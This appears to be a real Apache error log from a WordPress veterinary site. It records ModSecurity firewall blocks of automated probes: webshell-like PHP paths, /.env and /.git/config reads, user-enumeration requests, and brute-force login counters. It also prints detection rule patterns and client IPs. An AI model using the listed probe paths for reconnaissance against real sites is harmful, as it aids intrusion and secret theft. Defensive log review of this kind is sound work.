[Sun Nov 23 16:38:17.501829 2025] [:error] [pid 38740:tid 38796] [client 140.99.1.33:28529] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSLH-Q13QPZSi6O8umV-UAAAAIA"]
[Sun Nov 23 16:38:17.760413 2025] [:error] [pid 38738:tid 38756] [client 140.99.1.33:43465] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSLH-Qytc6TL9XavPmPjnAAAAA4"]
[Sun Nov 23 16:39:00.065370 2025] [:error] [pid 44652:tid 44723] [client 140.99.1.8:22609] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSLIJNiQFwsyXQDhwyCclgAAARE"]
[Sun Nov 23 16:39:18.472918 2025] [:error] [pid 38740:tid 38798] [client 140.99.1.69:35945] [client 140.99.1.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSLINg13QPZSi6O8umWDuQAAAII"]
[Sun Nov 23 16:40:13.732819 2025] [autoindex:error] [pid 38824:tid 38836] [client 140.99.1.43:35925] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:40:13.867347 2025] [autoindex:error] [pid 38824:tid 38846] [client 140.99.1.43:35925] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:40:14.023599 2025] [autoindex:error] [pid 38824:tid 38830] [client 140.99.1.43:35925] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 16:40:18.169751 2025] [autoindex:error] [pid 38824:tid 38842] [client 140.99.1.43:35925] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 18:56:46.275677 2025] [:error] [pid 17534:tid 17540] [client 172.71.144.139:13254] [client 172.71.144.139] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSLobnPX9nXBrhgM8sx4eQAAAcQ"]
[Sun Nov 23 21:45:37.312252 2025] [:error] [pid 8036:tid 8063] [client 220.240.57.215:49270] [client 220.240.57.215] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "182.2.204.21_728e1467eb89f2b867bfe4ce87284054441b8709"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js"] [unique_id "aSMP_9BT69EcgFwgTmp5OgAAAhA"], referer: https://vetstars.com.au/
[Mon Nov 24 00:06:23.082714 2025] [:error] [pid 38740:tid 38802] [client 35.231.163.32:55494] [client 35.231.163.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.163.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSMw_w13QPZSi6O8umUOHgAAAIY"]
[Mon Nov 24 00:06:25.960673 2025] [:error] [pid 38740:tid 38805] [client 35.231.163.32:55494] [client 35.231.163.32] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSMxAQ13QPZSi6O8umUOJQAAAIk"]
[Mon Nov 24 00:06:29.006044 2025] [:error] [pid 38740:tid 38810] [client 35.231.163.32:55494] [client 35.231.163.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.163.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSMxBQ13QPZSi6O8umUOJwAAAI4"]
[Mon Nov 24 02:03:25.523145 2025] [:error] [pid 1454:tid 1520] [client 162.158.87.202:9732] [client 162.158.87.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSNMbbeh4NH3skJ5n4R_-AAAAMg"]
[Mon Nov 24 06:09:26.820375 2025] [:error] [pid 12911:tid 12945] [client 142.93.70.82:51138] [client 142.93.70.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.70.82, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSOGFkDMbk9464jnIl7wgAAAAEM"]
[Mon Nov 24 06:09:30.813157 2025] [:error] [pid 12911:tid 12946] [client 142.93.70.82:51138] [client 142.93.70.82] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSOGGkDMbk9464jnIl7whQAAAEQ"]
[Mon Nov 24 08:23:23.984271 2025] [:error] [pid 48599:tid 48616] [client 103.65.237.124:61577] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "aSOle5zvu6PDJiRKE3KsigAAAY0"]
[Mon Nov 24 08:23:24.265645 2025] [:error] [pid 48688:tid 48706] [client 103.65.237.124:58470] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSOlfBm2q1FkzLam7A0XIQAAAk4"]
[Mon Nov 24 10:54:45.509717 2025] [:error] [pid 16516:tid 16531] [client 43.164.197.209:59320] [client 43.164.197.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSPI9fqZbniwaNwL8XmxOAAAAQw"]
[Mon Nov 24 21:21:55.522258 2025] [ssl:error] [pid 9630:tid 9645] [client 35.81.80.27:32844] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon Nov 24 22:57:16.530381 2025] [:error] [pid 16441:tid 16460] [client 185.82.72.153:34115] [client 185.82.72.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSRyTIq_bc5MOa9HflmvXQAAAJA"]
[Mon Nov 24 22:57:23.394740 2025] [:error] [pid 48599:tid 48604] [client 185.82.72.159:29857] [client 185.82.72.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSRyU5zvu6PDJiRKE3JegQAAAYE"]
[Mon Nov 24 22:58:13.127223 2025] [autoindex:error] [pid 16441:tid 16449] [client 185.82.72.171:33919] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:34.248905 2025] [autoindex:error] [pid 48599:tid 48617] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:39.548499 2025] [autoindex:error] [pid 48599:tid 48604] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:44.049886 2025] [autoindex:error] [pid 48599:tid 48618] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:48.008907 2025] [autoindex:error] [pid 48599:tid 48608] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:49.074417 2025] [autoindex:error] [pid 48599:tid 48622] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:49.752903 2025] [autoindex:error] [pid 48599:tid 48619] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:56.727065 2025] [autoindex:error] [pid 48599:tid 48610] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:58.026756 2025] [autoindex:error] [pid 48599:tid 48608] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:58:58.937746 2025] [autoindex:error] [pid 48599:tid 48621] [client 185.82.72.161:40725] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 22:59:08.169093 2025] [autoindex:error] [pid 9630:tid 9648] [client 185.82.72.143:40421] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 03:01:05.676470 2025] [:error] [pid 48599:tid 48625] [client 182.44.10.67:44503] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSSrcZzvu6PDJiRKE3KFCAAAAZY"]
[Tue Nov 25 04:29:55.366420 2025] [:error] [pid 14077:tid 14114] [client 104.210.7.125:39808] [client 104.210.7.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/network.php"] [unique_id "aSTAQxG9n7UHEkwDTyhB6gAAAEQ"]
[Tue Nov 25 04:29:58.218715 2025] [:error] [pid 14688:tid 14702] [client 104.210.7.125:39873] [client 104.210.7.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSTARm9vYrBoEsiDnizRMwAAAQw"]
[Tue Nov 25 04:30:39.855705 2025] [:error] [pid 14688:tid 14692] [client 104.210.7.125:39932] [client 104.210.7.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSTAb29vYrBoEsiDnizRXwAAAQI"]
[Tue Nov 25 04:30:57.086569 2025] [:error] [pid 14688:tid 14708] [client 104.210.7.125:39814] [client 104.210.7.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.210.7.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSTAgW9vYrBoEsiDnizRdQAAARI"]
[Tue Nov 25 04:30:59.653719 2025] [:error] [pid 14688:tid 14699] [client 104.210.7.125:39814] [client 104.210.7.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.210.7.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSTAg29vYrBoEsiDnizReQAAAQk"]
[Tue Nov 25 04:53:18.568593 2025] [:error] [pid 14168:tid 14180] [client 185.117.225.57:58118] [client 185.117.225.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.57, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSTFvvR-ZDU0QEgAIItj9wAAAMk"]
[Tue Nov 25 09:21:53.412191 2025] [:error] [pid 14076:tid 14087] [client 223.244.35.77:56364] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSUEsXsB4Gz6Qw-pvBtDXQAAAAY"]
[Tue Nov 25 10:31:17.890765 2025] [:error] [pid 14076:tid 14101] [client 195.178.110.242:59612] [client 195.178.110.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSUU9XsB4Gz6Qw-pvBtVDwAAABQ"]
[Tue Nov 25 10:31:17.897303 2025] [:error] [pid 14076:tid 14083] [client 195.178.110.242:59598] [client 195.178.110.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aSUU9XsB4Gz6Qw-pvBtVEQAAAAI"]
[Tue Nov 25 12:20:03.400471 2025] [proxy_fcgi:error] [pid 14077:tid 14116] [client 103.4.122.14:40048] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Tue Nov 25 12:31:45.412479 2025] [proxy_fcgi:error] [pid 14168:tid 14171] [client 103.4.122.14:42302] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Tue Nov 25 16:40:55.256049 2025] [:error] [pid 14077:tid 14128] [client 159.223.59.45:55741] [client 159.223.59.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.59.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSVrlxG9n7UHEkwDTyhFTwAAAFI"]
[Tue Nov 25 16:40:58.412715 2025] [:error] [pid 28740:tid 28797] [client 159.223.59.45:53661] [client 159.223.59.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.59.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSVrmlppQCoYxWW6V0VLeAAAAkY"]
[Tue Nov 25 17:51:21.629156 2025] [:error] [pid 14168:tid 14186] [client 20.10.155.22:6503] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aSV8GfR-ZDU0QEgAIItO9AAAAM8"]
[Tue Nov 25 17:51:25.396691 2025] [:error] [pid 14076:tid 14088] [client 20.10.155.22:7272] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aSV8HXsB4Gz6Qw-pvBv6gwAAAAc"]
[Tue Nov 25 17:51:32.205324 2025] [:error] [pid 14076:tid 14103] [client 20.10.155.22:9595] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aSV8JHsB4Gz6Qw-pvBv6jwAAABY"]
[Tue Nov 25 17:51:35.175255 2025] [:error] [pid 14076:tid 14104] [client 20.10.155.22:9071] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "aSV8J3sB4Gz6Qw-pvBv6kwAAABc"]
[Tue Nov 25 17:51:38.109247 2025] [:error] [pid 28609:tid 28631] [client 20.10.155.22:1164] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snus.php"] [unique_id "aSV8KiGGdT-nZJVs3x2smwAAAY0"]
[Tue Nov 25 17:51:40.583438 2025] [:error] [pid 28609:tid 28628] [client 20.10.155.22:9276] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snus.php"] [unique_id "aSV8LCGGdT-nZJVs3x2snwAAAYo"]
[Tue Nov 25 17:51:47.849111 2025] [:error] [pid 14077:tid 14115] [client 20.10.155.22:3803] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/snus.php"] [unique_id "aSV8MxG9n7UHEkwDTyhhtgAAAEU"]
